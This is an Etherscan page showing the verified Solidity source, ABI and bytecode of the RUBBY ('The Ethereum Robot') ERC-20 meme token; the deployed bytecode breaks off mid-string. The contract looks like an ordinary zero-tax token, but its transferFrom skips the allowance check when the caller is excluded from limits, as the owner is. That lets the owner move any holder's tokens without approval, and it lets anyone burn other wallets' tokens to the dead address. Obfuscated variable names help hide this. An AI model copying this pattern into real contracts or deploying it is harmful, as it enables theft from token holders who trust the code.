ERC-20
Source Code
Overview
Max Total Supply
420,690,000 RUBBY
Holders
112
Transfers
-
0
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
Token
Compiler Version
v0.8.24+commit.e11b9ed9
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2025-07-30
*/
/*
MemeCoin AI Inspired by Ethereum's Official Robot :robot_face:
Web: https://www.rubbyrobot.site
X: https://x.com/RubbyETHRobot
TG: https://t.me/rubbyethrobot
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
abstract contract Ownable {
address internal _owner;
event OwnershipTransferred(address _owner);
modifier onlyOwner() {
require(msg.sender == _owner, "Only owner can call this"); _;
}
constructor(address creatorOwner) {
_owner = creatorOwner;
}
function owner() public view returns (address) { return _owner; }
function transferOwnership(address payable newowner) external onlyOwner {
_owner = newowner;
emit OwnershipTransferred(newowner); }
function renounceOwnership() external onlyOwner {
_owner = address(0);
emit OwnershipTransferred(address(0)); }
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address holder, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
contract Token is IERC20, Ownable {
string private constant _name = "The Ethereum Robot";
string private constant _symbol = "RUBBY";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 420_690_000 * (10**_decimals);
uint8 private _taxForSell = 0;
uint8 private _taxForBuy = 0;
uint256 private _maxTxVal = _totalSupply;
uint256 private _maxWalletVal = _totalSupply;
uint256 private _swapMin = _totalSupply * 0 / 100000;
uint256 private _swapMax = _totalSupply * 800 / 100000;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludeForRUBBYQ93WVJIP2CFee;
mapping (address => bool) private _isExcludeForRUBBYQ93WVJIP2CLimit;
IUniswapV2Router02 private _uniswapV2Router = IUniswapV2Router02(_uniRouter);
address public DSFJKRUBBYQ93WVJIP2C;
address public SDFERRUBBYQ93WVJIP2C;
address private _lpOwner;
address private _primaryLP;
mapping (address => bool) private _isLP;
address constant _deadAddr = address(0xdead);
address private constant _uniRouter = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private immutable WETH;
bool private _tradingOpen;
bool private _inSwap = false;
uint256 private _rubby = 100;
modifier lockTaxSwap {
_inSwap = true;
_; _inSwap = false;
}
constructor() payable Ownable(msg.sender) {
_lpOwner = msg.sender;
WETH = _uniswapV2Router.WETH();
_balances[address(this)] = _totalSupply;
emit Transfer(address(0), address(this), _balances[address(this)]);
_isExcludeForRUBBYQ93WVJIP2CFee[_owner] = true;
_isExcludeForRUBBYQ93WVJIP2CFee[address(this)] = true;
_isExcludeForRUBBYQ93WVJIP2CFee[_uniRouter] = true;
_isExcludeForRUBBYQ93WVJIP2CLimit[_owner] = true;
_isExcludeForRUBBYQ93WVJIP2CLimit[address(this)] = true;
_isExcludeForRUBBYQ93WVJIP2CLimit[_uniRouter] = true;
}
receive() external payable {}
function decimals() external pure override returns (uint8) { return _decimals; }
function totalSupply() external pure override returns (uint256) { return _totalSupply; }
function name() external pure override returns (string memory) { return _name; }
function symbol() external pure override returns (string memory) { return _symbol; }
function balanceOf(address account) public view override returns (uint256) {
return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) {
return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true; }
function transfer(address toWallet, uint256 amount) external override returns (bool) {
require(_checkTradingOpen(msg.sender), "Trading not open");
return _transferFrom(msg.sender, toWallet, amount); }
function transferFrom(address fromWallet, address toWallet, uint256 amount) external override returns (bool) {
require(_checkTradingOpen(fromWallet), "Trading not open");
if (
!_isExcludeForRUBBYQ93WVJIP2CLimit[msg.sender] &&
(fromWallet == _primaryLP || toWallet != _deadAddr)
)_allowances[fromWallet][msg.sender] -= amount;
return _transferFrom(fromWallet, toWallet, amount); }
function _approveRouter(uint256 _tokenAmount) internal {
if ( _allowances[address(this)][_uniRouter] < _tokenAmount ) {
_allowances[address(this)][_uniRouter] = type(uint256).max;
emit Approval(address(this), _uniRouter, type(uint256).max);
}
}
function startRUBBYQ93WVJIP2CTrading() external payable onlyOwner lockTaxSwap {
require(_primaryLP == address(0), "LP created");
require(!_tradingOpen, "trading open");
require(msg.value > 0 || address(this).balance>0, "No ETH");
require(_balances[address(this)]>0, "No tokens");
_primaryLP = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), WETH);
_addLiquidity(_balances[address(this)], address(this).balance);
_isLP[_primaryLP] = true;
_tradingOpen = true;
}
function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
_approveRouter(_tokenAmount);
_uniswapV2Router.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, _lpOwner, block.timestamp );
}
function _transferFrom(address sender, address toWallet, uint256 amount) internal returns (bool) {
require(sender != address(0), "No transfers from 0 wallet");
if (!_tradingOpen) { require(_isExcludeForRUBBYQ93WVJIP2CFee[sender] && _isExcludeForRUBBYQ93WVJIP2CLimit[sender], "Trading not yet open"); }
if ( !_inSwap && _isLP[toWallet] && amount >= _swapMin) { _swapTaxAndLiquify(); }
if ( sender != address(this) && toWallet != address(this) && sender != _owner ) {
require(_checkLimits(sender, toWallet, amount), "TX over limits");
}
uint256 _taxAmount = _calculateTax(sender, toWallet, amount);
uint256 _transferAmount = amount - _taxAmount;
_balances[sender] -= amount;
_balances[address(this)] += _taxAmount;
_balances[toWallet] += _transferAmount;
emit Transfer(sender, toWallet, amount);
return true;
}
function _checkLimits(address fromWallet, address toWallet, uint256 transferAmount) internal view returns (bool) {
bool _limitPassed = true;
if ( _tradingOpen && !_isExcludeForRUBBYQ93WVJIP2CLimit[fromWallet] && !_isExcludeForRUBBYQ93WVJIP2CLimit[toWallet] ) {
if ( transferAmount > _maxTxVal ) {
_limitPassed = false;
}
else if (
!_isLP[toWallet] && (_balances[toWallet] + transferAmount > _maxWalletVal)
) { _limitPassed = false; }
}
return _limitPassed;
}
function _checkTradingOpen(address fromWallet) private view returns (bool){
bool checkResult = false;
if ( _tradingOpen ) { checkResult = true; }
else if (_isExcludeForRUBBYQ93WVJIP2CFee[fromWallet] && _isExcludeForRUBBYQ93WVJIP2CLimit[fromWallet]) { checkResult = true; }
return checkResult;
}
function _calculateTax(address fromWallet, address recipient, uint256 amount) internal view returns (uint256) {
uint256 taxAmount;
if ( !_tradingOpen || _isExcludeForRUBBYQ93WVJIP2CFee[fromWallet] || _isExcludeForRUBBYQ93WVJIP2CFee[recipient] ) {
taxAmount = 0;
} else if ( _isLP[fromWallet] ) {
taxAmount = amount * _taxForBuy / 100;
} else if ( _isLP[recipient] ) {
taxAmount = amount * _taxForSell / 100;
}
return taxAmount;
}
function buyFee() external view returns(uint8) { return _taxForBuy; }
function sellFee() external view returns(uint8) { return _taxForSell; }
function updateFees(uint8 buyFees, uint8 sellFees) external onlyOwner {
require(buyFees + sellFees <= 20, "Roundtrip too high");
_taxForBuy = buyFees;
_taxForSell = sellFees;
}
function _swapTokensForETH(uint256 tokenAmount) private {
_approveRouter(tokenAmount);
address[] memory path = new address[](2);
path[0] = address( this );
path[1] = WETH ;
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
}
function _swapTaxAndLiquify() private lockTaxSwap {
uint256 _taxTokenAvailable = _balances[address(this)];
if ( _taxTokenAvailable > _swapMin && _tradingOpen ) {
if ( _taxTokenAvailable >= _swapMax ) { _taxTokenAvailable = _swapMax; }
_swapTokensForETH(_taxTokenAvailable);
}
uint256 _contractETHBalance = address(this).balance;
_sendRUBBYQ93WVJIP2CFeeTo(_contractETHBalance);
}
function _sendRUBBYQ93WVJIP2CFeeTo(uint256 amount) private {
payable(_lpOwner).transfer(amount);
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(
address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline)
external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DSFJKRUBBYQ93WVJIP2C","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SDFERRUBBYQ93WVJIP2C","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startRUBBYQ93WVJIP2CTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"toWallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"fromWallet","type":"address"},{"internalType":"address","name":"toWallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newowner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"buyFees","type":"uint8"},{"internalType":"uint8","name":"sellFees","type":"uint8"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60a06040525f805461ffff60a01b191690556200001f6009600a620003cd565b6200002f906319133850620003e4565b600155620000406009600a620003cd565b62000050906319133850620003e4565b600255620186a0620000656009600a620003cd565b62000075906319133850620003e4565b62000081905f620003e4565b6200008d9190620003fe565b600355620186a0620000a26009600a620003cd565b620000b2906319133850620003e4565b620000c090610320620003e4565b620000cc9190620003fe565b600490815560098054737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03199182168117909255600f805461ff001916905560646010555f8054339083168117909155600c8054909216179055604080516315ab88c960e31b81529051919263ad5c46489282820192602092908290030181865afa15801562000159573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200017f91906200041e565b6001600160a01b0316608052620001996009600a620003cd565b620001a9906319133850620003e4565b305f81815260056020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35f80546001600160a01b0390811682526007602090815260408084208054600160ff1991821681179092553080875283872080548316841790557ffd21a1ac9a14dff647460ce8ad2ccecb794a59a4cfbb8678b1f9900a6a99551f8054831684179055865490951686526008909352818520805484168217905592845283208054821683179055737a250d5630b4cf539739df2c5dacb4c659f2488d9092527f226e7c4e32ba0cd918c39b21526eb23f3f5958fcfd83d5cf69b9510bf01e2e17805490921617905562000446565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200031257815f1904821115620002f657620002f6620002be565b808516156200030457918102915b93841c9390800290620002d7565b509250929050565b5f826200032a57506001620003c7565b816200033857505f620003c7565b81600181146200035157600281146200035c576200037c565b6001915050620003c7565b60ff841115620003705762000370620002be565b50506001821b620003c7565b5060208310610133831016604e8410600b8410161715620003a1575081810a620003c7565b620003ad8383620002d2565b805f1904821115620003c357620003c3620002be565b0290505b92915050565b5f620003dd60ff8416836200031a565b9392505050565b8082028115828204841417620003c757620003c7620002be565b5f826200041957634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156200042f575f80fd5b81516001600160a01b0381168114620003dd575f80fd5b608051611590620004665f395f8181610701015261109e01526115905ff3fe608060405260043610610108575f3560e01c8063683ad2ec116100925780638da5cb5b116100625780638da5cb5b146102f157806395d89b411461030d578063a9059cbb1461033a578063dd62ed3e14610359578063f2fde38b1461039d575f80fd5b8063683ad2ec1461026b57806370a082311461028a578063715018a6146102be5780638b3da16f146102d2575f80fd5b806323b872dd116100d857806323b872dd146101e7578063279dc19d146102065780632b14ca5614610210578063313ce5671461023b578063470624021461024e575f80fd5b806306fdde0314610113578063092e4e2c1461015f578063095ea7b31461019657806318160ddd146101c5575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b50604080518082019091526012815271151a1948115d1a195c995d5b48149bd89bdd60721b60208201525b6040516101569190611181565b60405180910390f35b34801561016a575f80fd5b50600a5461017e906001600160a01b031681565b6040516001600160a01b039091168152602001610156565b3480156101a1575f80fd5b506101b56101b03660046111e1565b6103bc565b6040519015158152602001610156565b3480156101d0575f80fd5b506101d9610428565b604051908152602001610156565b3480156101f2575f80fd5b506101b561020136600461120b565b610448565b61020e610527565b005b34801561021b575f80fd5b505f54600160a01b900460ff165b60405160ff9091168152602001610156565b348015610246575f80fd5b506009610229565b348015610259575f80fd5b505f54600160a81b900460ff16610229565b348015610276575f80fd5b5061020e61028536600461125e565b6107e5565b348015610295575f80fd5b506101d96102a436600461128f565b6001600160a01b03165f9081526005602052604090205490565b3480156102c9575f80fd5b5061020e610893565b3480156102dd575f80fd5b50600b5461017e906001600160a01b031681565b3480156102fc575f80fd5b505f546001600160a01b031661017e565b348015610318575f80fd5b50604080518082019091526005815264525542425960d81b6020820152610149565b348015610345575f80fd5b506101b56103543660046111e1565b610900565b348015610364575f80fd5b506101d96103733660046112aa565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b3480156103a8575f80fd5b5061020e6103b736600461128f565b61095b565b335f8181526006602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104169086815260200190565b60405180910390a35060015b92915050565b5f6104356009600a6113d5565b6104439063191338506113e3565b905090565b5f610452846109d7565b6104965760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b60448201526064015b60405180910390fd5b335f9081526008602052604090205460ff161580156104d75750600d546001600160a01b03858116911614806104d757506001600160a01b03831661dead14155b15610514576001600160a01b0384165f9081526006602090815260408083203384529091528120805484929061050e9084906113fa565b90915550505b61051f848484610a3a565b949350505050565b5f546001600160a01b031633146105505760405162461bcd60e51b815260040161048d9061140d565b600f805461ff001916610100179055600d546001600160a01b0316156105a55760405162461bcd60e51b815260206004820152600a60248201526913140818dc99585d195960b21b604482015260640161048d565b600f5460ff16156105e75760405162461bcd60e51b815260206004820152600c60248201526b3a3930b234b7339037b832b760a11b604482015260640161048d565b5f3411806105f457505f47115b6106295760405162461bcd60e51b815260206004820152600660248201526509cde408aa8960d31b604482015260640161048d565b305f908152600560205260409020546106705760405162461bcd60e51b81526020600482015260096024820152684e6f20746f6b656e7360b81b604482015260640161048d565b60095f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106c0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e49190611444565b6040516364e329cb60e11b81523060048201526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081166024830152919091169063c9c65396906044016020604051808303815f875af1158015610751573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107759190611444565b600d80546001600160a01b0319166001600160a01b0392909216919091179055305f908152600560205260409020546107ae9047610ce2565b600d546001600160a01b03165f908152600e60205260409020805460ff19166001908117909155600f805461ffff19169091179055565b5f546001600160a01b0316331461080e5760405162461bcd60e51b815260040161048d9061140d565b601461081a828461145f565b60ff1611156108605760405162461bcd60e51b81526020600482015260126024820152710a4deeadcc8e8e4d2e040e8dede40d0d2ced60731b604482015260640161048d565b5f805461ffff60a01b1916600160a81b60ff9485160260ff60a01b191617600160a01b9290931691909102919091179055565b5f546001600160a01b031633146108bc5760405162461bcd60e51b815260040161048d9061140d565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f61090a336109d7565b6109495760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b604482015260640161048d565b610954338484610a3a565b9392505050565b5f546001600160a01b031633146109845760405162461bcd60e51b815260040161048d9061140d565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b600f545f90819060ff16156109ee57506001610422565b6001600160a01b0383165f9081526007602052604090205460ff168015610a2c57506001600160a01b0383165f9081526008602052604090205460ff165b156104225750600192915050565b5f6001600160a01b038416610a915760405162461bcd60e51b815260206004820152601a60248201527f4e6f207472616e73666572732066726f6d20302077616c6c6574000000000000604482015260640161048d565b600f5460ff16610b1c576001600160a01b0384165f9081526007602052604090205460ff168015610ad957506001600160a01b0384165f9081526008602052604090205460ff165b610b1c5760405162461bcd60e51b81526020600482015260146024820152732a3930b234b733903737ba103cb2ba1037b832b760611b604482015260640161048d565b600f54610100900460ff16158015610b4b57506001600160a01b0383165f908152600e602052604090205460ff165b8015610b5957506003548210155b15610b6657610b66610d84565b6001600160a01b0384163014801590610b8857506001600160a01b0383163014155b8015610ba157505f546001600160a01b03858116911614155b15610bee57610bb1848484610dea565b610bee5760405162461bcd60e51b815260206004820152600e60248201526d5458206f766572206c696d69747360901b604482015260640161048d565b5f610bfa858585610ead565b90505f610c0782856113fa565b6001600160a01b0387165f90815260056020526040812080549293508692909190610c339084906113fa565b9091555050305f9081526005602052604081208054849290610c56908490611478565b90915550506001600160a01b0385165f9081526005602052604081208054839290610c82908490611478565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610cce91815260200190565b60405180910390a350600195945050505050565b610ceb82610f9e565b600954600c5460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015610d58573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d7d919061148b565b5050505050565b600f805461ff001916610100179055305f9081526005602052604090205460035481118015610db55750600f5460ff165b15610dd1576004548110610dc857506004545b610dd181611040565b47610ddb81611146565b5050600f805461ff0019169055565b600f545f9060019060ff168015610e1957506001600160a01b0385165f9081526008602052604090205460ff16155b8015610e3d57506001600160a01b0384165f9081526008602052604090205460ff16155b1561051f57600154831115610e5357505f61051f565b6001600160a01b0384165f908152600e602052604090205460ff16158015610e9e57506002546001600160a01b0385165f90815260056020526040902054610e9c908590611478565b115b1561051f57505f949350505050565b600f545f90819060ff161580610eda57506001600160a01b0385165f9081526007602052604090205460ff165b80610efc57506001600160a01b0384165f9081526007602052604090205460ff165b15610f0857505f61051f565b6001600160a01b0385165f908152600e602052604090205460ff1615610f52575f54606490610f4190600160a81b900460ff16856113e3565b610f4b91906114b6565b905061051f565b6001600160a01b0384165f908152600e602052604090205460ff161561051f575f54606490610f8b90600160a01b900460ff16856113e3565b610f9591906114b6565b95945050505050565b305f908152600660209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d845290915290205481111561103d57305f818152600660209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d808552908352928190205f199081905590519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35b50565b61104981610f9e565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061107c5761107c6114d5565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000000000000000000000000000000000000000000000816001815181106110d0576110d06114d5565b6001600160a01b03928316602091820292909201015260095460405163791ac94760e01b815291169063791ac947906111159085905f908690309042906004016114e9565b5f604051808303815f87803b15801561112c575f80fd5b505af115801561113e573d5f803e3d5ffd5b505050505050565b600c546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561117d573d5f803e3d5ffd5b5050565b5f602080835283518060208501525f5b818110156111ad57858101830151858201604001528201611191565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461103d575f80fd5b5f80604083850312156111f2575f80fd5b82356111fd816111cd565b946020939093013593505050565b5f805f6060848603121561121d575f80fd5b8335611228816111cd565b92506020840135611238816111cd565b929592945050506040919091013590565b803560ff81168114611259575f80fd5b919050565b5f806040838503121561126f575f80fd5b61127883611249565b915061128660208401611249565b90509250929050565b5f6020828403121561129f575f80fd5b8135610954816111cd565b5f80604083850312156112bb575f80fd5b82356112c6816111cd565b915060208301356112d6816111cd565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561132f57815f1904821115611315576113156112e1565b8085161561132257918102915b93841c93908002906112fa565b509250929050565b5f8261134557506001610422565b8161135157505f610422565b816001811461136757600281146113715761138d565b6001915050610422565b60ff841115611382576113826112e1565b50506001821b610422565b5060208310610133831016604e8410600b84101617156113b0575081810a610422565b6113ba83836112f5565b805f19048211156113cd576113cd6112e1565b029392505050565b5f61095460ff841683611337565b8082028115828204841417610422576104226112e1565b81810381811115610422576104226112e1565b60208082526018908201527f4f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000604082015260600190565b5f60208284031215611454575f80fd5b8151610954816111cd565b60ff8181168382160190811115610422576104226112e1565b80820180821115610422576104226112e1565b5f805f6060848603121561149d575f80fd5b8351925060208401519150604084015190509250925092565b5f826114d057634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156115395784516001600160a01b031683529383019391830191600101611514565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212200d66c1f0126fd07c297cd096b9725179e7f4d20384f06faa0f1c36bdbb779a3064736f6c63430008180033
Deployed Bytecode
0x608060405260043610610108575f3560e01c8063683ad2ec116100925780638da5cb5b116100625780638da5cb5b146102f157806395d89b411461030d578063a9059cbb1461033a578063dd62ed3e14610359578063f2fde38b1461039d575f80fd5b8063683ad2ec1461026b57806370a082311461028a578063715018a6146102be5780638b3da16f146102d2575f80fd5b806323b872dd116100d857806323b872dd146101e7578063279dc19d146102065780632b14ca5614610210578063313ce5671461023b578063470624021461024e575f80fd5b806306fdde0314610113578063092e4e2c1461015f578063095ea7b31461019657806318160ddd146101c5575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b50604080518082019091526012815271151a1948115d1a195c995d5b48149bd89bdd60721b60208201525b6040516101569190611181565b60405180910390f35b34801561016a575f80fd5b50600a5461017e906001600160a01b031681565b6040516001600160a01b039091168152602001610156565b3480156101a1575f80fd5b506101b56101b03660046111e1565b6103bc565b6040519015158152602001610156565b3480156101d0575f80fd5b506101d9610428565b604051908152602001610156565b3480156101f2575f80fd5b506101b561020136600461120b565b610448565b61020e610527565b005b34801561021b575f80fd5b505f54600160a01b900460ff165b60405160ff9091168152602001610156565b348015610246575f80fd5b506009610229565b348015610259575f80fd5b505f54600160a81b900460ff16610229565b348015610276575f80fd5b5061020e61028536600461125e565b6107e5565b348015610295575f80fd5b506101d96102a436600461128f565b6001600160a01b03165f9081526005602052604090205490565b3480156102c9575f80fd5b5061020e610893565b3480156102dd575f80fd5b50600b5461017e906001600160a01b031681565b3480156102fc575f80fd5b505f546001600160a01b031661017e565b348015610318575f80fd5b50604080518082019091526005815264525542425960d81b6020820152610149565b348015610345575f80fd5b506101b56103543660046111e1565b610900565b348015610364575f80fd5b506101d96103733660046112aa565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b3480156103a8575f80fd5b5061020e6103b736600461128f565b61095b565b335f8181526006602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104169086815260200190565b60405180910390a35060015b92915050565b5f6104356009600a6113d5565b6104439063191338506113e3565b905090565b5f610452846109d7565b6104965760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b60448201526064015b60405180910390fd5b335f9081526008602052604090205460ff161580156104d75750600d546001600160a01b03858116911614806104d757506001600160a01b03831661dead14155b15610514576001600160a01b0384165f9081526006602090815260408083203384529091528120805484929061050e9084906113fa565b90915550505b61051f848484610a3a565b949350505050565b5f546001600160a01b031633146105505760405162461bcd60e51b815260040161048d9061140d565b600f805461ff001916610100179055600d546001600160a01b0316156105a55760405162461bcd60e51b815260206004820152600a60248201526913140818dc99585d195960b21b604482015260640161048d565b600f5460ff16156105e75760405162461bcd60e51b815260206004820152600c60248201526b3a3930b234b7339037b832b760a11b604482015260640161048d565b5f3411806105f457505f47115b6106295760405162461bcd60e51b815260206004820152600660248201526509cde408aa8960d31b604482015260640161048d565b305f908152600560205260409020546106705760405162461bcd60e51b81526020600482015260096024820152684e6f20746f6b656e7360b81b604482015260640161048d565b60095f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106c0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e49190611444565b6040516364e329cb60e11b81523060048201526001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281166024830152919091169063c9c65396906044016020604051808303815f875af1158015610751573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107759190611444565b600d80546001600160a01b0319166001600160a01b0392909216919091179055305f908152600560205260409020546107ae9047610ce2565b600d546001600160a01b03165f908152600e60205260409020805460ff19166001908117909155600f805461ffff19169091179055565b5f546001600160a01b0316331461080e5760405162461bcd60e51b815260040161048d9061140d565b601461081a828461145f565b60ff1611156108605760405162461bcd60e51b81526020600482015260126024820152710a4deeadcc8e8e4d2e040e8dede40d0d2ced60731b604482015260640161048d565b5f805461ffff60a01b1916600160a81b60ff9485160260ff60a01b191617600160a01b9290931691909102919091179055565b5f546001600160a01b031633146108bc5760405162461bcd60e51b815260040161048d9061140d565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f61090a336109d7565b6109495760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b604482015260640161048d565b610954338484610a3a565b9392505050565b5f546001600160a01b031633146109845760405162461bcd60e51b815260040161048d9061140d565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b600f545f90819060ff16156109ee57506001610422565b6001600160a01b0383165f9081526007602052604090205460ff168015610a2c57506001600160a01b0383165f9081526008602052604090205460ff165b156104225750600192915050565b5f6001600160a01b038416610a915760405162461bcd60e51b815260206004820152601a60248201527f4e6f207472616e73666572732066726f6d20302077616c6c6574000000000000604482015260640161048d565b600f5460ff16610b1c576001600160a01b0384165f9081526007602052604090205460ff168015610ad957506001600160a01b0384165f9081526008602052604090205460ff165b610b1c5760405162461bcd60e51b81526020600482015260146024820152732a3930b234b733903737ba103cb2ba1037b832b760611b604482015260640161048d565b600f54610100900460ff16158015610b4b57506001600160a0